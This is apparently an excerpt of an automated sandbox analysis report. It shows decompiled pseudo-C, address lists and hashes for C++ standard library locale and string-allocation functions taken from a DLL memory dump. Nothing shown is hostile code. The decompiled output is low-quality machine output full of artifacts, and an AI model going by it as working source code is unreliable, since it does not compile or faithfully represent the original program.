?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,?), ref: 10007F63

Memory Dump Source

Source File: 00000000.00000002.871418283.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.871391664.0000000010000000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: D@std@@@std@@U?$char_traits@$?sputc@?$basic_streambuf@$?flush@?$basic_ostream@?setstate@?$basic_ios@?sputn@?$basic_streambuf@?uncaught_exception@std@@Osfx@?$basic_ostream@V12@
String ID:
API String ID: 1492985063-0
Opcode ID: d93cf880046a51808c4391800211d16ecc6c9839ddd884dfa9b8ed24ca78ceec
Instruction ID: 149a662e7ea717adf8ae1d303c12b7e36b83dc03c2c5c0b414576f7dd6e74783
Opcode Fuzzy Hash: d93cf880046a51808c4391800211d16ecc6c9839ddd884dfa9b8ed24ca78ceec
Instruction Fuzzy Hash: 72613374E01145CFEB10CF58C584B99BBF1FB49394F2581A9E909AB39AC739ED42CB90

Uniqueness

Uniqueness Score: -1.00%

Function 10007640, Relevance: 10.6, APIs: 7, Instructions: 87
COMMON

Download Yara Rule

C-Code - Quality: 17%

			E10007640(void* __ebx, void* __ecx, void* __edi, int _a4, char _a8) {
				char _v8;
				signed int _v12;
				int _v16;
				signed int _v20;
				void* _v24;
				void* _v28;
				void* _v32;
				char _v44;
				signed int _v80;
				intOrPtr _v88;
				signed int _v100;
				intOrPtr _v108;
				intOrPtr _v116;
				signed int _v128;
				intOrPtr _v140;
				intOrPtr _v148;
				signed int _t124;
				signed int _t125;
				signed int _t127;
				intOrPtr _t128;
				void** _t131;
				signed int _t146;
				signed int _t148;
				unsigned int _t150;
				void* _t151;
				void* _t166;
				void* _t167;
				signed int _t169;
				signed int _t170;
				unsigned int _t172;
				void* _t173;
				void* _t189;
				void* _t190;
				signed int _t192;
				unsigned int _t194;
				void* _t195;
				void* _t205;
				void* _t206;
				signed int _t208;
				void* _t214;
				void* _t216;
				void* _t218;
				void* _t233;
				signed int _t241;
				void* _t243;
				signed int _t248;
				void* _t250;
				signed int _t255;
				signed int _t257;
				void* _t259;
				signed int _t262;
				signed int _t263;
				signed int _t264;
				void* _t265;
				void* _t267;
				void* _t269;
				signed int _t272;
				void* _t274;
				signed int _t279;
				void* _t280;
				void* _t282;
				signed int _t285;
				void* _t286;
				void* _t288;
				void* _t290;
				intOrPtr _t293;
				intOrPtr _t294;
				signed int _t298;
				void* _t299;
				void* _t301;
				void* _t303;
				void* _t307;
				void* _t311;
				signed int _t312;
				void* _t313;
				void* _t314;
				void* _t317;
				void* _t318;
				void* _t319;
				void* _t320;
				void* _t321;
				void* _t322;

				_t318 = _t317 - 0x1c;
				_t124 =  *0x1000d004; // 0x98f8ac3b
				_t125 = _t124 ^ _t312;
				_v20 = _t125;
				 *[fs:0x0] =  &_v16;
				_t214 = __ecx;
				__imp__??0_Lockit@std@@QAE@H@Z(0, _t125, __edi, _t290, __ebx,  *[fs:0x0], E10009A21, 0xffffffff);
				_v8 = 0;
				_t127 =  *0x1000d5b8; // 0x0
				_v32 = _t127;
				__imp__??Bid@locale@std@@QAEIXZ();
				_t272 = _t127;
				_t128 =  *((intOrPtr*)(__ecx + 4));
				if(_t272 >=  *((intOrPtr*)(_t128 + 0xc))) {
					_t291 = 0;
					__eflags = 0;
					L4:
					if( *((char*)(_t128 + 0x14)) == 0) {
						L7:
						if(_t291 != 0) {
							goto L11;
						} else {
							goto L8;
						}
					} else {
						__imp__?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ();
						if(_t272 >=  *((intOrPtr*)(_t128 + 0xc))) {
							L8:
							_t291 = _v32;
							if(_t291 != 0) {
								goto L11;
							} else {
								_t131 =  &_v32;
								__imp__?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z(_t131, _t214);
								_t319 = _t318 + 8;
								_t337 = _t131 - 0xffffffff;
								if(_t131 == 0xffffffff) {
									_t233 =  &_v44;
									E10001110(_t233);
									_push(0x1000b810);
									_push(_t233);
									L10009233();
									asm("int3");
									_push(_t312);
									_t313 = _t319;
									_t320 = _t319 - 8;
									_push(_t214);
									_t216 = _t233;
									_push(_t291);
									_push(_t272);
									_t262 =  *(_t216 + 0x10);
									_v80 = _t262;
									__eflags = 0x7fffffff - _t262 - 1;
									if(0x7fffffff - _t262 < 1) {
										L10007BD0(0x7fffffff);
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										_push(_t313);
										_t314 = _t320;
										_t321 = _t320 - 0x10;
										_push(_t216);
										_push(_t291);
										_t293 = _v88;
										_t263 =  *0x8000000F;
										_v100 = _t263;
										_push(_t272);
										__eflags = 0x7fffffff - _t263 - _t293;
										if(0x7fffffff - _t263 < _t293) {
											L10007BD0(0x7fffffff);
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											asm("int3");
											_push(_t314);
											_t322 = _t321 - 0x10;
											_push(0x7fffffff);
											_t218 = 0x7fffffff;
											_v140 = _v108;
											_push(_t293);
											_t264 =  *0x8000000F;
											_t294 = _v116;
											_v128 = _t264;
											_push(_t272);
											__eflags = 0x7fffffff - _t264 - _t294;
											if(0x7fffffff - _t264 < _t294) {
												L10007BD0(0x7fffffff);
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("int3");
												asm("xorps xmm0, xmm0");
												 *0x7fffffff = 0x1000a278;
												asm("movq [eax], xmm0");
												_t146 = _v148 + 4;
												__eflags = _t146;
												__imp____std_exception_copy(_t146, 0x80000003, _t294);
												 *0x7fffffff = 0x1000a720;
												return 0x7fffffff;
											} else {
												_t274 =  *0x80000013;
												_t148 = _t264 + _t294;
												_v24 = _t148;
												_t298 = _t148 | 0x0000000f;
												_v28 = _t274;
												__eflags = _t298 - 0x7fffffff;
												if(__eflags <= 0) {
													_t150 = _t274 >> 1;
													__eflags = _t274 - 0x7fffffff - _t150;
													if(__eflags <= 0) {
														_t151 = _t274 + _t150;
														__eflags = _t298 - _t151;
														_t299 =  <  ? _t151 : _t298;
													} else {
														_t299 = 0x7fffffff;
													}
												} else {
													_t299 = 0x7fffffff;
												}
												_t241 =  ~(0 | __eflags > 0x00000000) | _t299 + 0x00000001;
												__eflags = _t241 - 0x1000;
												if(_t241 < 0x1000) {
													__eflags = _t241;
													if(_t241 == 0) {
														_t274 = 0;
														__eflags = 0;
													} else {
														_push(_t241);
														_t166 = E1000829F(_t264);
														_t264 = _v20;
														_t322 = _t322 + 4;
														_t274 = _t166;
													}
													goto L65;
												} else {
													_t98 = _t241 + 0x23; // 0x23
													_t167 = _t98;
													__eflags = _t167 - _t241;
													_t168 =  <=  ? _t264 | 0xffffffff : _t167;
													_push( <=  ? _t264 | 0xffffffff : _t167);
													_t169 = E1000829F(_t264 | 0xffffffff);
													_t322 = _t322 + 4;
													__eflags = _t169;
													if(_t169 == 0) {
														L70:
														__imp___invalid_parameter_noinfo_noreturn();
														goto L71;
													} else {
														_t264 = _v20;
														_t100 = _t169 + 0x23; // 0x23
														_t274 = _t100 & 0xffffffe0;
														 *(_t274 - 4) = _t169;
														L65:
														 *((intOrPtr*)(_t218 + 0x10)) = _v24;
														 *(_t218 + 0x14) = _t299;
														_t299 = _t274 + _t264;
														_v24 = _t299;
														__eflags = _v28 - 0x10;
														_v20 = _t299 + _a4;
														_push(_t264);
														if(_v28 < 0x10) {
															L71:
															memcpy(_t274, _t218, ??);
															memcpy(_t299, _v32, _a4);
															 *_v20 = 0;
															 *_t218 = _t274;
															return _t218;
														} else {
															_t301 =  *_t218;
															memcpy(_t274, _t301, ??);
															memcpy(_v24, _v32, _a4);
															_t163 = _v20;
															_t322 = _t322 + 0x18;
															_t243 = _v28 + 1;
															 *_v20 = 0;
															__eflags = _t243 - 0x1000;
															if(_t243 < 0x1000) {
																L69:
																_push(_t243);
																E10008291(_t163, _t301);
																 *_t218 = _t274;
																return _t218;
															} else {
																_t265 =  *(_t301 - 4);
																_t243 = _t243 + 0x23;
																_t299 = _t301 - _t265;
																_t117 = _t299 - 4; // 0x7ffffffb
																_t163 = _t117;
																__eflags = _t117 - 0x1f;
																if(_t117 > 0x1f) {
																	goto L70;
																} else {
																	_t301 = _t265;
																	goto L69;
																}
															}
														}
													}
												}
											}
										} else {
											_t170 = _t263 + _t293;
											_t303 =  *0x80000013;
											_v20 = _t170;
											_t279 = _t170 | 0x0000000f;
											_v24 = _t303;
											__eflags = _t279 - 0x7fffffff;
											if(__eflags <= 0) {
												_t172 = _t303 >> 1;
												__eflags = _t303 - 0x7fffffff - _t172;
												if(__eflags <= 0) {
													_t173 = _t303 + _t172;
													__eflags = _t279 - _t173;
													_t280 =  <  ? _t173 : _t279;
												} else {
													_t280 = 0x7fffffff;
												}
											} else {
												_t280 = 0x7fffffff;
											}
											_t248 =  ~(0 | __eflags > 0x00000000) | _t280 + 0x00000001;
											__eflags = _t248 - 0x1000;
											if(_t248 < 0x1000) {
												__eflags = _t248;
												if(_t248 == 0) {
													_t303 = 0;
													__eflags = 0;
												} else {
													_push(_t248);
													_t189 = E1000829F(_t263);
													_t263 = _v16;
													_t321 = _t321 + 4;
													_t303 = _t189;
												}
												goto L45;
											} else {
												_t62 = _t248 + 0x23; // 0x23
												_t190 = _t62;
												__eflags = _t190 - _t248;
												_t191 =  <=  ? _t263 | 0xffffffff : _t190;
												_push( <=  ? _t263 | 0xffffffff : _t190);
												_t192 = E1000829F(_t263 | 0xffffffff);
												_t321 = _t321 + 4;
												__eflags = _t192;
												if(_t192 == 0) {
													L50:
													__imp___invalid_parameter_noinfo_noreturn();
													goto L51;
												} else {
													_t263 = _v16;
													_t64 = _t192 + 0x23; // 0x23
													_t303 = _t64 & 0xffffffe0;
													 *(_t303 - 4) = _t192;
													L45:
													 *((intOrPtr*)(0x7fffffff + 0x10)) = _v20;
													_v16 = _a8;
													 *(0x7fffffff + 0x14) = _t280;
													_t280 = _t303 + _t263;
													_v28 = _t280;
													__eflags = _v24 - 0x10;
													_v20 = _t280 + _a4;
													_push(_t263);
													if(_v24 < 0x10) {
														L51:
														memcpy(_t303, 0x7fffffff, ??);
														memset(_t280, _v16, _a4);
														 *_v20 = 0;
														 *0x7fffffff = _t303;
														return 0x7fffffff;
													} else {
														_t282 =  *0x7fffffff;
														memcpy(_t303, _t282, ??);
														memset(_v28, _v16, _a4);
														_t186 = _v20;
														_t321 = _t321 + 0x18;
														_t250 = _v24 + 1;
														 *_v20 = 0;
														__eflags = _t250 - 0x1000;
														if(_t250 < 0x1000) {
															L49:
															_push(_t250);
															E10008291(_t186, _t282);
															 *0x7fffffff = _t303;
															return 0x7fffffff;
														} else {
															_t267 =  *(_t282 - 4);
															_t250 = _t250 + 0x23;
															_t280 = _t282 - _t267;
															_t83 = _t280 - 4; // 0x7ffffffb
															_t186 = _t83;
															__eflags = _t83 - 0x1f;
															if(_t83 > 0x1f) {
																goto L50;
															} else {
																_t282 = _t267;
																goto L49;
															}
														}
													}
												}
											}
										}
									} else {
										_t307 =  *(_t216 + 0x14);
										_t285 = _t262 + 0x00000001 | 0x0000000f;
										_v16 = _t307;
										__eflags = _t285 - 0x7fffffff;
										if(__eflags <= 0) {
											_t194 = _t307 >> 1;
											__eflags = _t307 - 0x7fffffff - _t194;
											if(__eflags <= 0) {
												_t195 = _t307 + _t194;
												__eflags = _t285 - _t195;
												_t286 =  <  ? _t195 : _t285;
											} else {
												_t286 = 0x7fffffff;
											}
										} else {
											_t286 = 0x7fffffff;
										}
										_t255 =  ~(0 | __eflags > 0x00000000) | _t286 + 0x00000001;
										__eflags = _t255 - 0x1000;
										if(_t255 < 0x1000) {
											__eflags = _t255;
											if(_t255 == 0) {
												_t307 = 0;
												__eflags = 0;
											} else {
												_push(_t255);
												_t205 = E1000829F(_t262);
												_t262 = _v12;
												_t320 = _t320 + 4;
												_t307 = _t205;
											}
											goto L25;
										} else {
											_t34 = _t255 + 0x23; // 0x23
											_t206 = _t34;
											__eflags = _t206 - _t255;
											_t207 =  <=  ? _t262 | 0xffffffff : _t206;
											_push( <=  ? _t262 | 0xffffffff : _t206);
											_t208 = E1000829F(_t262 | 0xffffffff);
											_t320 = _t320 + 4;
											__eflags = _t208;
											if(_t208 == 0) {
												L30:
												__imp___invalid_parameter_noinfo_noreturn();
												goto L31;
											} else {
												_t262 = _v12;
												_t36 = _t208 + 0x23; // 0x23
												_t307 = _t36 & 0xffffffe0;
												 *(_t307 - 4) = _t208;
												L25:
												__eflags = _v16 - 0x10;
												_t40 = _t262 + 1; // 0x1
												 *(_t216 + 0x14) = _t286;
												_t286 = _t307 + _t262;
												 *(_t216 + 0x10) = _t40;
												_v12 = _t286;
												_push(_t262);
												if(_v16 < 0x10) {
													L31:
													memcpy(_t307, _t216, ??);
													 *_t286 = _a8;
													 *(_t286 + 1) = 0;
													 *_t216 = _t307;
													return _t216;
												} else {
													_t288 =  *_t216;
													memcpy(_t307, _t288, ??);
													_t257 = _v12;
													_t320 = _t320 + 0xc;
													_t202 = _a8;
													 *_t257 = _a8;
													 *((char*)(_t257 + 1)) = 0;
													_t259 = _v16 + 1;
													__eflags = _t259 - 0x1000;
													if(_t259 < 0x1000) {
														L29:
														_push(_t259);
														E10008291(_t202, _t288);
														 *_t216 = _t307;
														return _t216;
													} else {
														_t269 =  *(_t288 - 4);
														_t259 = _t259 + 0x23;
														_t286 = _t288 - _t269;
														_t202 = _t286 - 4;
														__eflags = _t286 - 4 - 0x1f;
														if(_t286 - 4 > 0x1f) {
															goto L30;
														} else {
															_t288 = _t269;
															goto L29;
														}
													}
												}
											}
										}
									}
								} else {
									_t311 = _v32;
									_v28 = _t311;
									_v8 = 1;
									E10008240(_t337, _t311);
									 *((intOrPtr*)( *_t311 + 4))();
									_t291 = _v32;
									 *0x1000d5b8 = _v32;
									goto L11;
								}
							}
						} else {
							_t291 =  *((intOrPtr*)( *((intOrPtr*)(_t128 + 8)) + _t272 * 4));
							goto L7;
						}
					}
				} else {
					_t291 =  *((intOrPtr*)( *((intOrPtr*)(_t128 + 8)) + _t272 * 4));
					if(_t291 != 0) {
						L11:
						__imp__??1_Lockit@std@@QAE@XZ();
						 *[fs:0x0] = _v16;
						return E10008280(_t291, _v20 ^ _t312);
					} else {
						goto L4;
					}
				}
			}

0x10007651
0x10007654
0x10007659
0x1000765b
0x10007665
0x1000766b
0x10007672
0x10007678
0x1000767f
0x1000768a
0x1000768d
0x10007693
0x10007695
0x1000769b
0x100076a9
0x100076a9
0x100076ab
0x100076af
0x100076c2
0x100076c4
0x00000000
0x00000000
0x00000000
0x00000000
0x100076b1
0x100076b1
0x100076ba
0x100076c6
0x100076c6
0x100076cb
0x00000000
0x100076cd
0x100076cd
0x100076d2
0x100076d8
0x100076db
0x100076de
0x1000772a
0x1000772d
0x10007732
0x10007739
0x1000773a
0x1000773f
0x10007740
0x10007741
0x10007743
0x10007746
0x10007747
0x10007750
0x10007751
0x10007752
0x10007757
0x1000775a
0x1000775d
0x1000786e
0x10007873
0x10007874
0x10007875
0x10007876
0x10007877
0x10007878
0x10007879
0x1000787a
0x1000787b
0x1000787c
0x1000787d
0x1000787e
0x1000787f
0x10007880
0x10007881
0x10007883
0x10007886
0x10007890
0x10007891
0x10007894
0x10007899
0x1000789c
0x1000789d
0x1000789f
0x100079d5
0x100079da
0x100079db
0x100079dc
0x100079dd
0x100079de
0x100079df
0x100079e0
0x100079e3
0x100079e9
0x100079ea
0x100079ec
0x100079f6
0x100079f7
0x100079fc
0x100079ff
0x10007a02
0x10007a03
0x10007a05
0x10007b34
0x10007b39
0x10007b3a
0x10007b3b
0x10007b3c
0x10007b3d
0x10007b3e
0x10007b3f
0x10007b46
0x10007b4d
0x10007b53
0x10007b5a
0x10007b5a
0x10007b5e
0x10007b67
0x10007b71
0x10007a0b
0x10007a0b
0x10007a0e
0x10007a13
0x10007a16
0x10007a19
0x10007a1c
0x10007a1e
0x10007a26
0x10007a2a
0x10007a2c
0x10007a35
0x10007a37
0x10007a39
0x10007a2e
0x10007a2e
0x10007a2e
0x10007a20
0x10007a20
0x10007a20
0x10007a48
0x10007a4a
0x10007a50
0x10007a7c
0x10007a7e
0x10007a90
0x10007a90
0x10007a80
0x10007a80
0x10007a81
0x10007a86
0x10007a89
0x10007a8c
0x10007a8c
0x00000000
0x10007a52
0x10007a52
0x10007a52
0x10007a58
0x10007a5a
0x10007a5d
0x10007a5e
0x10007a63
0x10007a66
0x10007a68
0x10007b05
0x10007b05
0x00000000
0x10007a6e
0x10007a6e
0x10007a71
0x10007a74
0x10007a77
0x10007a92
0x10007a95
0x10007a9b
0x10007a9e
0x10007aa3
0x10007aa6
0x10007aaa
0x10007aad
0x10007aae
0x10007b0b
0x10007b0d
0x10007b19
0x10007b24
0x10007b29
0x10007b31
0x10007ab0
0x10007ab0
0x10007ab4
0x10007ac2
0x10007ac7
0x10007aca
0x10007ad0
0x10007ad1
0x10007ad4
0x10007ada
0x10007aee
0x10007aee
0x10007af0
0x10007af8
0x10007b02
0x10007adc
0x10007adc
0x10007adf
0x10007ae2
0x10007ae4
0x10007ae4
0x10007ae7
0x10007aea
0x00000000
0x10007aec
0x10007aec
0x00000000
0x10007aec
0x10007aea
0x10007ada
0x10007aae
0x10007a68
0x10007a50
0x100078a5
0x100078a5
0x100078a8
0x100078ad
0x100078b0
0x100078b3
0x100078b6
0x100078b8
0x100078c0
0x100078c4
0x100078c6
0x100078cf
0x100078d1
0x100078d3
0x100078c8
0x100078c8
0x100078c8
0x100078ba
0x100078ba
0x100078ba
0x100078e2
0x100078e4
0x100078ea
0x10007916
0x10007918
0x1000792a
0x1000792a
0x1000791a
0x1000791a
0x1000791b
0x10007920
0x10007923
0x10007926
0x10007926
0x00000000
0x100078ec
0x100078ec
0x100078ec
0x100078f2
0x100078f4
0x100078f7
0x100078f8
0x100078fd
0x10007900
0x10007902
0x100079a6
0x100079a6
0x00000000
0x10007908
0x10007908
0x1000790b
0x1000790e
0x10007911
0x1000792c
0x1000792f
0x10007936
0x1000793c
0x1000793f
0x10007944
0x10007947
0x1000794b
0x1000794e
0x1000794f
0x100079ac
0x100079ae
0x100079ba
0x100079c5
0x100079cb
0x100079d2
0x10007951
0x10007951
0x10007955
0x10007963
0x10007968
0x1000796b
0x10007971
0x10007972
0x10007975
0x1000797b
0x1000798f
0x1000798f
0x10007991
0x10007999
0x100079a3
0x1000797d
0x1000797d
0x10007980
0x10007983
0x10007985
0x10007985
0x10007988
0x1000798b
0x00000000
0x1000798d
0x1000798d
0x00000000
0x1000798d
0x1000798b
0x1000797b
0x1000794f
0x10007902
0x100078ea
0x10007763
0x10007763
0x10007769
0x1000776c
0x1000776f
0x10007771
0x10007779
0x1000777d
0x1000777f
0x10007788
0x1000778a
0x1000778c
0x10007781
0x10007781
0x10007781
0x10007773
0x10007773
0x10007773
0x1000779b
0x1000779d
0x100077a3
0x100077cf
0x100077d1
0x100077e3
0x100077e3
0x100077d3
0x100077d3
0x100077d4
0x100077d9
0x100077dc
0x100077df
0x100077df
0x00000000
0x100077a5
0x100077a5
0x100077a5
0x100077ab
0x100077ad
0x100077b0
0x100077b1
0x100077b6
0x100077b9
0x100077bb
0x10007848
0x10007848
0x00000000
0x100077c1
0x100077c1
0x100077c4
0x100077c7
0x100077ca
0x100077e5
0x100077e5
0x100077e9
0x100077ec
0x100077ef
0x100077f2
0x100077f5
0x100077f8
0x100077f9
0x1000784e
0x10007850
0x1000785b
0x1000785f
0x10007863
0x1000786b
0x100077fb
0x100077fb
0x100077ff
0x10007804
0x10007807
0x1000780a
0x1000780d
0x1000780f
0x10007816
0x10007817
0x1000781d
0x10007831
0x10007831
0x10007833
0x1000783b
0x10007845
0x1000781f
0x1000781f
0x10007822
0x10007825
0x10007827
0x1000782a
0x1000782d
0x00000000
0x1000782f
0x1000782f
0x00000000
0x1000782f
0x1000782d
0x1000781d
0x100077f9
0x100077bb
0x100077a3
0x100076e0
0x100076e0
0x100076e3
0x100076e7
0x100076eb
0x100076f7
0x100076fa
0x100076fd
0x00000000
0x100076fd
0x100076de
0x100076bc
0x100076bf
0x00000000
0x100076bf
0x100076ba
0x1000769d
0x100076a0
0x100076a5
0x10007703
0x10007706
0x10007711
0x10007729
0x100076a7
0x00000000
0x100076a7
0x100076a5

APIs

??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,98F8AC3B,?,?,00000000,?,?,00000000,10009A21,000000FF,?,10005D70), ref: 10007672
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,00000000,10009A21,000000FF), ref: 1000768D
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,00000000,10009A21,000000FF), ref: 100076B1
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,00000000,?,?,00000000,10009A21,000000FF), ref: 100076D2
std::_Facet_Register.LIBCPMT ref: 100076EB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,00000000,10009A21,000000FF), ref: 10007706
_CxxThrowException.VCRUNTIME140(?,1000B810,?,?,?,?,00000000,10009A21,000000FF), ref: 1000773A

Memory Dump Source

Source File: 00000000.00000002.871418283.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.871391664.0000000010000000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Lockit@std@@$??0_??1_Bid@locale@std@@ExceptionFacet_Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterThrowV42@@Vfacet@locale@2@std::_
String ID:
API String ID: 3546165850-0
Opcode ID: fb70a5e677d4a3890940cf179327730c32f7df3f2c1cc05fea3faeb4d570c49e
Instruction ID: d743c271905ac453317d5a555a43a96dcd747c60f8050910b1400442cf0ede87
Opcode Fuzzy Hash: fb70a5e677d4a3890940cf179327730c32f7df3f2c1cc05fea3faeb4d570c49e
Instruction Fuzzy Hash: E831A175D00528DFEB01DF98C888AAEBBB4FB047A0F054259E80AA7395D734AD40CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 100079E0, Relevance: 9.2, APIs: 6, Instructions: 159
COMMON

Download Yara Rule

C-Code - Quality: 26%

			E100079E0(void* __ebx, void* __ecx, void* __edi, intOrPtr _a4, void* _a12, int _a16) {
				signed int _v8;
				void* _v12;
				void* _v16;
				void* _v20;
				intOrPtr _v28;
				signed int _t45;
				unsigned int _t47;
				void* _t63;
				void* _t64;
				intOrPtr _t66;
				void* _t68;
				signed int _t77;
				void* _t79;
				signed int _t80;
				void* _t81;
				void* _t84;
				intOrPtr _t89;
				signed int _t93;
				void* _t94;
				void* _t96;
				void* _t100;
				void* _t105;

				_t68 = __ecx;
				_v20 = _a12;
				_t80 =  *(__ecx + 0x10);
				_t89 = _a4;
				_v8 = _t80;
				if(0x7fffffff - _t80 < _t89) {
					L10007BD0(0x7fffffff);
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("xorps xmm0, xmm0");
					 *0x7fffffff = 0x1000a278;
					asm("movq [eax], xmm0");
					__imp____std_exception_copy(_v28 + 4, 0x80000003, _t89);
					 *0x7fffffff = 0x1000a720;
					return 0x7fffffff;
				} else {
					_t84 =  *(__ecx + 0x14);
					_t45 = _t80 + _t89;
					_v12 = _t45;
					_t93 = _t45 | 0x0000000f;
					_v16 = _t84;
					_t105 = _t93 - 0x7fffffff;
					if(_t105 <= 0) {
						_t47 = _t84 >> 1;
						if(_t84 <= 0x7fffffff - _t47) {
							_t94 =  <  ? _t84 + _t47 : _t93;
						} else {
							_t94 = 0x7fffffff;
						}
					} else {
						_t94 = 0x7fffffff;
					}
					_t77 =  ~(0 | _t105 > 0x00000000) | _t94 + 0x00000001;
					if(_t77 < 0x1000) {
						if(_t77 == 0) {
							_t84 = 0;
						} else {
							_push(_t77);
							_t63 = E1000829F(_t80);
							_t80 = _v8;
							_t100 = _t100 + 4;
							_t84 = _t63;
						}
						goto L12;
					} else {
						_t12 = _t77 + 0x23; // 0x23
						_t64 = _t12;
						_t65 =  <=  ? _t80 | 0xffffffff : _t64;
						_push( <=  ? _t80 | 0xffffffff : _t64);
						_t66 = E1000829F(_t80 | 0xffffffff);
						_t100 = _t100 + 4;
						if(_t66 == 0) {
							L17:
							__imp___invalid_parameter_noinfo_noreturn();
							goto L18;
						} else {
							_t80 = _v8;
							_t14 = _t66 + 0x23; // 0x23
							_t84 = _t14 & 0xffffffe0;
							 *((intOrPtr*)(_t84 - 4)) = _t66;
							L12:
							 *((intOrPtr*)(_t68 + 0x10)) = _v12;
							 *(_t68 + 0x14) = _t94;
							_t94 = _t84 + _t80;
							_v12 = _t94;
							_v8 = _t94 + _a16;
							_push(_t80);
							if(_v16 < 0x10) {
								L18:
								memcpy(_t84, _t68, ??);
								memcpy(_t94, _v20, _a16);
								 *_v8 = 0;
								 *_t68 = _t84;
								return _t68;
							} else {
								_t96 =  *_t68;
								memcpy(_t84, _t96, ??);
								memcpy(_v12, _v20, _a16);
								_t60 = _v8;
								_t100 = _t100 + 0x18;
								_t79 = _v16 + 1;
								 *_v8 = 0;
								if(_t79 < 0x1000) {
									L16:
									_push(_t79);
									E10008291(_t60, _t96);
									 *_t68 = _t84;
									return _t68;
								} else {
									_t81 =  *(_t96 - 4);
									_t79 = _t79 + 0x23;
									_t94 = _t96 - _t81;
									_t31 = _t94 - 4; // 0x7ffffffb
									_t60 = _t31;
									if(_t31 > 0x1f) {
										goto L17;
									} else {
										_t96 = _t81;
										goto L16;
									}
								}
							}
						}
					}
				}
			}

0x100079ea
0x100079ec
0x100079f7
0x100079fc
0x100079ff
0x10007a05
0x10007b34
0x10007b39
0x10007b3a
0x10007b3b
0x10007b3c
0x10007b3d
0x10007b3e
0x10007b3f
0x10007b46
0x10007b4d
0x10007b53
0x10007b5e
0x10007b67
0x10007b71
0x10007a0b
0x10007a0b
0x10007a0e
0x10007a13
0x10007a16
0x10007a19
0x10007a1c
0x10007a1e
0x10007a26
0x10007a2c
0x10007a39
0x10007a2e
0x10007a2e
0x10007a2e
0x10007a20
0x10007a20
0x10007a20
0x10007a48
0x10007a50
0x10007a7e
0x10007a90
0x10007a80
0x10007a80
0x10007a81
0x10007a86
0x10007a89
0x10007a8c
0x10007a8c
0x00000000
0x10007a52
0x10007a52
0x10007a52
0x10007a5a
0x10007a5d
0x10007a5e
0x10007a63
0x10007a68
0x10007b05
0x10007b05
0x00000000
0x10007a6e
0x10007a6e
0x10007a71
0x10007a74
0x10007a77
0x10007a92
0x10007a95
0x10007a9b
0x10007a9e
0x10007aa3
0x10007aaa
0x10007aad
0x10007aae
0x10007b0b
0x10007b0d
0x10007b19
0x10007b24
0x10007b29
0x10007b31
0x10007ab0
0x10007ab0
0x10007ab4
0x10007ac2
0x10007ac7
0x10007aca
0x10007ad0
0x10007ad1
0x10007ada
0x10007aee
0x10007aee
0x10007af0
0x10007af8
0x10007b02
0x10007adc
0x10007adc
0x10007adf
0x10007ae2
0x10007ae4
0x10007ae4
0x10007aea
0x00000000
0x10007aec
0x10007aec
0x00000000
0x10007aec
0x10007aea
0x10007ada
0x10007aae
0x10007a68
0x10007a50

APIs

memcpy.VCRUNTIME140(00000000,7FFFFFFF,?,?,?), ref: 10007AB4
memcpy.VCRUNTIME140(?,?,?,00000000,7FFFFFFF,?,?,?), ref: 10007AC2
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?), ref: 10007B05
memcpy.VCRUNTIME140(00000000,?,?,?,?), ref: 10007B0D
memcpy.VCRUNTIME140(7FFFFFFF,?,?,00000000,?,?,?,?), ref: 10007B19

Part of subcall function 1000829F: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,10007CA0,00000000,10003B99,?,?,?,?,10003B99,00000000,00000001), ref: 100082B4

__std_exception_copy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001), ref: 10007B5E

Memory Dump Source

Source File: 00000000.00000002.871418283.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.871391664.0000000010000000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: memcpy$__std_exception_copy_invalid_parameter_noinfo_noreturnmalloc
String ID:
API String ID: 1641563893-0
Opcode ID: 7e5680b2ac21e88fcab9379c9d4ecd822a2da8b4c0d9a44f300e6afcdb47dc08
Instruction ID: f0c3ff920eb130816d279007870dc046969c946a1f261a68b479d05809706774
Opcode Fuzzy Hash: 7e5680b2ac21e88fcab9379c9d4ecd822a2da8b4c0d9a44f300e6afcdb47dc08
Instruction Fuzzy Hash: 69411532E00115AFEB15DF6CCC8069EB7A5FF85290B144269F909EB345E730AE518BD1

Uniqueness

Uniqueness Score: -1.00%

Function 10008ADF, Relevance: 9.1, APIs: 6, Instructions: 126
COMMON

Download Yara Rule

C-Code - Quality: 30%

			E10008ADF(void* __edx, void* __edi, void* __esi) {
				intOrPtr _t29;
				intOrPtr* _t30;
				intOrPtr* _t40;
				intOrPtr* _t43;
				intOrPtr* _t49;
				intOrPtr _t58;
				intOrPtr* _t59;
				void* _t63;
				intOrPtr* _t65;
				intOrPtr* _t67;
				intOrPtr* _t68;
				intOrPtr* _t69;
				void* _t70;

				_t63 = __edx;
				E10009070(0x1000b738, 0xc);
				_t29 =  *0x1000d594; // 0x1
				if(_t29 <= 0) {
					L4:
					_t30 = 0;
					__eflags = 0;
					goto L5;
				} else {
